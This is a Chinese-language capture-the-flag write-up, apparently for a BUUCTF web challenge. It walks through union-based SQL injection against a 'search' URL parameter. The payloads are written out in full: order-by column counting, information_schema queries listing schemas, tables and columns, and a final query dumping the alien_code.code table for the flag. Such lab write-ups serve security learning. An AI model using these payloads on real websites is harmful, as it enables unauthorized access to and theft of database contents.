打开是个火星生物的网站
点旁边的一些链接也并没有什么思路
不过抓包查看看到几个GET传递的参数,猜测这就是注入的点
而我们抓其他几个链接,也是基本相同的参数,并且删除后两个参数是没有影响的,所以可以锁定注入点为search
但是我直接用bp来注入是不管用的,所以我们用hackerbar来传参
先进入网页
http://c502b4f4-55bd-4e8e-8721-d3c8c6119c16.node4.buuoj.cn:81/query?search=amazonis_planitia&{}&_=1649925283284
在网页上被美化了,看起来漂亮多了
可以看出表格有两列,如果不信,我们来验证一下(为了方便,后续只展示参数)
?search=amazonis_planitia order by 1&{}&_=1649925283284
?search=amazonis_planitia order by 2&{}&_=1649925283284
?search=amazonis_planitia order by 3&{}&_=1649925283284
前两次页面并无变化,而当我们输入order by 3时,页面只出现一个2
所以表格有两列
接着查询显示位
查询表格
?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
竟然有这么多表格
但是仔细一看,这不就是首页展示的那些吗
所以我们换个思路,查询一下所有的数据库,以前总觉得这一步是没用的,原来是我见识浅薄
?search=amazonis_planitia union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
得到了两个特别的数据库,aliens的表和我们刚刚看到的表格是一样的
查询alien_code数据库的表
?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'
得到一张表code
查询code表的字段
?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='code'
得到两列,id和code
然后查询内容就可以啦
?search=amazonis_planitia union select group_concat(id),group_concat(code) from alien_code.code
// 注意要写alien_code.code,因为当前数据库并不是这个
得到flag